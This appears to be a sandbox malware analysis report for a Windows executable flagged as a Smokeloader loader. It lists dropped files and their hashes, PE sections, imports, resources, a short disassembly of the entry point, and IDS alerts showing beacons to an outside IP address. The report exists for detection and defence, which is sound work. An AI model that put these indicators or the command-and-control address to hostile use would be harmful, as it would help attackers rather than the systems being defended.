File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E19E.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\derhswe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	453632
Entropy (8bit):	6.34706850547879
Encrypted:	false
SSDEEP:	6144:dBc5/Qqguk5r/EaOKIhfzrIqku/a5J0gToyxw7coy6BbO42Tn:MBQqgoampv1/GJ0gThx8NO4O
MD5:	FA949A7589DC71EA006EB10AD025618A
SHA1:	3525508CC8B83CDEC2BDE0BF0CBDC7CDAB62C383
SHA-256:	FFF79A1E96FFCAC77B3EB7BC01706BFECE7499AB8972B28A732DFA2AA09994EE
SHA-512:	40734414F0D40431625D1C79F7FC043458DE0F73B59764239041F6A7AC959A6E11869F45A334FEC45F37267BF9C2FF2CA4ACC23DB9C5EAC0E70E9413307DB136
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;..B;..B;..BT.bB#..BT.WB...BT.VBW..B2.oB<..B;..B...BT.SB:..BT.fB:..BT.aB:..BRich;..B........................PE..L......e.............................;............@................................."....................................... ...P...................................p...................................@............................................text............................... ..`.rdata..............................@..@.data............`..................@....siy................................@..@.fitecos............................@..@.darulet............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\derhswe:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\hbtujbr

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	290443
Entropy (8bit):	7.999354805405584
Encrypted:	true
SSDEEP:	6144:DK8qz437ZHZt5G0/3tBM4tuG6LfimzeXLhoNx2HFOJGgFQSU031/Hp:uLc37Z5bG01BR4h6mzILhoNclO4j0l/J
MD5:	F8A515527C7555F64CBECC59E38CC8EE
SHA1:	A379401E41B9089D6AB10899491DA3119C5CD5DB
SHA-256:	77226CD69B16B6012035EBE839310D51F09C54B7F7D3A24BF48405CDC30B77F1
SHA-512:	354CFF85F0A1C604EC28500A4D6E709E7FEE30DBB0DC17E23D4EE83243AF63AEFEDF464727026EF6CECC0DDA4E2035BB510AE40F45CFD9448CB29AC40518E9C1
Malicious:	false
Preview:	.hl.l....HtD...V^X.l(C,.YV..l.5.6q....&.1.qk...)=..+c.`..........>..#..]..{=.~t.I.:../;.BC.!..q.f....v.kO`...;.......~.a.D1......l0yY....DRM.;...q?..}..3.l..s.Ix........r...A..\..8../..N!.E.p.Zp....N.I..8.......... ...i.T..X.Q3.\|=..w..{1K.....C..d..e,o.MT...,.Q..Q.R...r.....r..T..;k.-...U...a...7.;.,....f`.7...J>..J..s.!-b..H.@..yq.\|<.>1..5.p'...\_7@.f...5P$......'....gF...f.O..a..z.@........19....W?+C.....\|..j`.+\|K..._..p.014E..)x............;.3.!..8......=jP...k...V.p4 ......q..%:.to..L..t.,Y.\l..K.]j.....g...r.!.S....3.-iU..J..+.....>.13..}m....?ly.W..m.DF...v\...O...r.X..{.1..qq..8.s.0BO...k..q..Ar..".6B..y.......c....0J..E.>.....j...y.$.Q?oj......@7?......'....j&.p...........[w..c.=...... :.....iv..+...#....V...P...."@........"..k.s....S.4.;..E:2.C..T.`&.i....v....g....fMd..U...t.a.k.%P..P?..:.>........N..u...D../....H..t..G.k:.).V.O4........Bc.a....}. .U..\n&Z..V.<...\|.ad.p..,.6.E..2...Q6(a.%Q....H..:ps..qtN.D~.r.d....g!.].W..

C:\Users\user\AppData\Roaming\jfrhswe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	453632
Entropy (8bit):	6.3528472110057015
Encrypted:	false
SSDEEP:	6144:rBS3kQBgyTmD60mDGMiH64vt3ro87JKn6+hNtzRUpy6BbO42Tn:YUQBgyXGMslJKnv2NO4O
MD5:	02F50094664F74B387AC57B1DE8679AF
SHA1:	E4DC28C4D8FD6C9010CA95B978133B46CAC5148E
SHA-256:	A9276BC533A2BB42308613EAF590FD97F662E81A4C4F1A1BE43709AE3B923432
SHA-512:	DE298772E5232A547BF7DDCDC45EF9A84BAF46911994D80E93F9F75CD00EE1EA474892AF98C82FD96E343F7A858A3627C39E22E2D17496C13A81950B86F72895
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;..B;..B;..BT.bB#..BT.WB...BT.VBW..B2.oB<..B;..B...BT.SB:..BT.fB:..BT.aB:..BRich;..B........................PE..L....cd.............................;............@..................................o..........................................P...................................0...............................h...@............................................text............................... ..`.rdata..............................@..@.data............`..................@....xexolu.............................@..@.naxurew............................@..@.havi...............................@....rsrc...............................@..@........................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.34706850547879
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bCnarg2O62.exe
File size:	453'632 bytes
MD5:	fa949a7589dc71ea006eb10ad025618a
SHA1:	3525508cc8b83cdec2bde0bf0cbdc7cdab62c383
SHA256:	fff79a1e96ffcac77b3eb7bc01706bfece7499ab8972b28a732dfa2aa09994ee
SHA512:	40734414f0d40431625d1c79f7fc043458de0f73b59764239041f6a7ac959a6e11869f45a334fec45f37267bf9c2ff2ca4acc23db9c5eac0e70e9413307db136
SSDEEP:	6144:dBc5/Qqguk5r/EaOKIhfzrIqku/a5J0gToyxw7coy6BbO42Tn:MBQqgoampv1/GJ0gThx8NO4O
TLSH:	3CA4C00252D9FEA0F5E64A339D1EFAF8A52DFC51DE586757325C2B1F1B702A1C222720
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;..B;..B;..BT.bB#..BT.WB...BT.VBW..B2.oB<..B;..B...BT.SB:..BT.fB:..BT.aB:..BRich;..B........................PE..L......e...

File Icon


Icon Hash:	55255145494d610d

Static PE Info

General

Entrypoint:	0x403bb9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65C7B3C1 [Sat Feb 10 17:34:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e40ec87d26b2fdb6278430b22f5c1df6

Entrypoint Preview

Instruction
call 00007FA8E0F2E149h
jmp 00007FA8E0F2B09Eh
push dword ptr [00451258h]
call dword ptr [0040F10Ch]
test eax, eax
je 00007FA8E0F2B214h
call eax
push 00000019h
call 00007FA8E0F2DA2Bh
push 00000001h
push 00000000h
call 00007FA8E0F2A9D0h
add esp, 0Ch
jmp 00007FA8E0F2A995h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040F3B0h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FA8E0F2B21Eh
test byte ptr [eax], 00000008h
je 00007FA8E0F2B219h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0040F140h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x49b20	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x1f100	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x49b70	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x490b0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x1e0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xd49d	0xd600	49618baca108ff28b4ba0a6755ccbb34	False	0.6013799649532711	data	6.6672590284458435	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x3b5f8	0x3b600	5dc072fda94cb2cc79ac90b7d780b362	False	0.7532483552631579	data	6.877195715683228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4b000	0x11cc0	0x6000	971d14af5ed905b6c288d4e05e9f40d8	False	0.08402506510416667	data	1.0916502474597252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.siy	0x5d000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fitecos	0x5e000	0xd6	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.darulet	0x5f000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x1f100	0x1f200	d8fc0635499f120e8c013fdaf1aa57c3	False	0.4249027359437751	data	5.013871580597741	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x79b78	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x79ea8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x7a000	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x7aea8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x7b750	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x7bce8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x7cb90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x7d438	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x60ac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3694029850746269
RT_ICON	0x60ac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3694029850746269
RT_ICON	0x61968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.4553249097472924
RT_ICON	0x61968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.4553249097472924
RT_ICON	0x62210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.4619815668202765
RT_ICON	0x62210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.4619815668202765
RT_ICON	0x628d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.4552023121387283
RT_ICON	0x628d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.4552023121387283
RT_ICON	0x62e40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.2682572614107884
RT_ICON	0x62e40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.2682572614107884
RT_ICON	0x653e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.3074577861163227
RT_ICON	0x653e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.3074577861163227
RT_ICON	0x66490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3599290780141844
RT_ICON	0x66490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3599290780141844
RT_ICON	0x66960	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.5660980810234542
RT_ICON	0x66960	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.5660980810234542
RT_ICON	0x67808	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5482851985559567
RT_ICON	0x67808	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5482851985559567
RT_ICON	0x680b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.615606936416185
RT_ICON	0x680b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.615606936416185
RT_ICON	0x68618	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4636929460580913
RT_ICON	0x68618	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4636929460580913
RT_ICON	0x6abc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4880393996247655
RT_ICON	0x6abc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4880393996247655
RT_ICON	0x6bc68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4930327868852459
RT_ICON	0x6bc68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4930327868852459
RT_ICON	0x6c5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4530141843971631
RT_ICON	0x6c5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4530141843971631
RT_ICON	0x6cac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.3784648187633262
RT_ICON	0x6cac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.3784648187633262
RT_ICON	0x6d968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.5058664259927798
RT_ICON	0x6d968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.5058664259927798
RT_ICON	0x6e210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5599078341013825
RT_ICON	0x6e210	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5599078341013825
RT_ICON	0x6e8d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.583092485549133
RT_ICON	0x6e8d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.583092485549133
RT_ICON	0x6ee40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.37053941908713695
RT_ICON	0x6ee40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.37053941908713695
RT_ICON	0x713e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.41228893058161353
RT_ICON	0x713e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.41228893058161353
RT_ICON	0x72490	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.40081967213114755
RT_ICON	0x72490	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.40081967213114755
RT_ICON	0x72e18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.46897163120567376
RT_ICON	0x72e18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.46897163120567376
RT_ICON	0x732f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3742004264392324
RT_ICON	0x732f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3742004264392324
RT_ICON	0x741a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5171480144404332
RT_ICON	0x741a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5171480144404332
RT_ICON	0x74a48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.6059907834101382
RT_ICON	0x74a48	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.6059907834101382
RT_ICON	0x75110	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6596820809248555
RT_ICON	0x75110	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6596820809248555
RT_ICON	0x75678	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.487551867219917
RT_ICON	0x75678	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.487551867219917
RT_ICON	0x77c20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.5060975609756098
RT_ICON	0x77c20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.5060975609756098
RT_ICON	0x78cc8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.4860655737704918
RT_ICON	0x78cc8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.4860655737704918
RT_ICON	0x79650	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5390070921985816
RT_ICON	0x79650	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5390070921985816
RT_DIALOG	0x7dc28	0x58	data			0.8977272727272727
RT_STRING	0x7dc80	0x2c6	data	Tamil	India	0.4830985915492958
RT_STRING	0x7dc80	0x2c6	data	Tamil	Sri Lanka	0.4830985915492958
RT_STRING	0x7df48	0x6b4	data	Tamil	India	0.42657342657342656
RT_STRING	0x7df48	0x6b4	data	Tamil	Sri Lanka	0.42657342657342656
RT_STRING	0x7e600	0x242	data	Tamil	India	0.4982698961937716
RT_STRING	0x7e600	0x242	data	Tamil	Sri Lanka	0.4982698961937716
RT_STRING	0x7e848	0x620	data	Tamil	India	0.4343112244897959
RT_STRING	0x7e848	0x620	data	Tamil	Sri Lanka	0.4343112244897959
RT_STRING	0x7ee68	0x292	data	Tamil	India	0.4817629179331307
RT_STRING	0x7ee68	0x292	data	Tamil	Sri Lanka	0.4817629179331307
RT_ACCELERATOR	0x79b30	0x48	data	Tamil	India	0.8472222222222222
RT_ACCELERATOR	0x79b30	0x48	data	Tamil	Sri Lanka	0.8472222222222222
RT_GROUP_CURSOR	0x79fd8	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x7bcb8	0x30	data			0.9375
RT_GROUP_CURSOR	0x7d9a0	0x30	data			0.9375
RT_GROUP_ICON	0x6ca58	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x6ca58	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_GROUP_ICON	0x668f8	0x68	data	Tamil	India	0.6826923076923077
RT_GROUP_ICON	0x668f8	0x68	data	Tamil	Sri Lanka	0.6826923076923077
RT_GROUP_ICON	0x73280	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x73280	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_GROUP_ICON	0x79ab8	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x79ab8	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_VERSION	0x7d9d0	0x258	data			0.545

Imports

DLL	Import
KERNEL32.dll	GlobalCompact, CommConfigDialogA, InterlockedIncrement, InterlockedDecrement, SetEnvironmentVariableW, QueryDosDeviceA, InterlockedCompareExchange, SetVolumeMountPointW, GetComputerNameW, GetTimeFormatA, GetTickCount, CreateNamedPipeW, LocalFlags, GetNumberFormatA, SetFileTime, ClearCommBreak, TlsSetValue, GetEnvironmentStrings, SetFileShortNameW, LoadLibraryW, CopyFileW, _hread, GetCalendarInfoA, GetVersionExW, GetFileAttributesA, CreateProcessA, GetModuleFileNameW, CreateActCtxA, GetConsoleAliasExesA, GetShortPathNameA, CreateJobObjectA, LCMapStringA, VerifyVersionInfoW, GetStdHandle, GetLogicalDriveStringsA, GetLastError, GetCurrentDirectoryW, GetProcAddress, EnumSystemCodePagesW, SetComputerNameA, SetFileAttributesA, LoadLibraryA, LocalAlloc, CreateHardLinkW, GetNumberFormatW, CreateEventW, OpenEventA, FoldStringW, GlobalWire, EnumDateFormatsW, GetShortPathNameW, GetDiskFreeSpaceExA, ReadConsoleInputW, GetCurrentProcessId, DebugBreak, GetTempPathA, GetLocaleInfoA, SetFilePointer, GetEnvironmentVariableA, EnumCalendarInfoA, WriteConsoleW, CloseHandle, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, HeapReAlloc, GetModuleHandleW, ExitProcess, GetCommandLineW, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, HeapAlloc, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, HeapCreate, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, TlsAlloc, TlsGetValue, TlsFree, SetLastError, GetCurrentThreadId, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetSystemTimeAsFileTime, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetStringTypeW, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, CreateFileW
GDI32.dll	CreateDCW, GetCharWidth32A, GetCharWidthI
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T00:19:56.521297+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49736	109.175.29.39	80	TCP
2024-10-08T00:19:57.933998+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49737	109.175.29.39	80	TCP
2024-10-08T00:19:58.702026+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49738	109.175.29.39	80	TCP
2024-10-08T00:19:59.466827+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49739	109.175.29.39	80	TCP
2024-10-08T00:20:00.843226+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49740	109.175.29.39	80	TCP
2024-10-08T00:20:01.602248+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49741	109.175.29.39	80	TCP
2024-10-08T00:20:02.373195+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49742	109.175.29.39	80	TCP
2024-10-08T00:20:03.357049+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49743	109.175.29.39	80	TCP
2024-10-08T00:20:04.230689+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49744	109.175.29.39	80	TCP
2024-10-08T00:20:05.016635+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49745	109.175.29.39	80	TCP
2024-10-08T00:20:05.782303+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49746	109.175.29.39	80	TCP
2024-10-08T00:20:06.621612+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49747	109.175.29.39	80	TCP
2024-10-08T00:20:07.425060+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49748	109.175.29.39	80	TCP
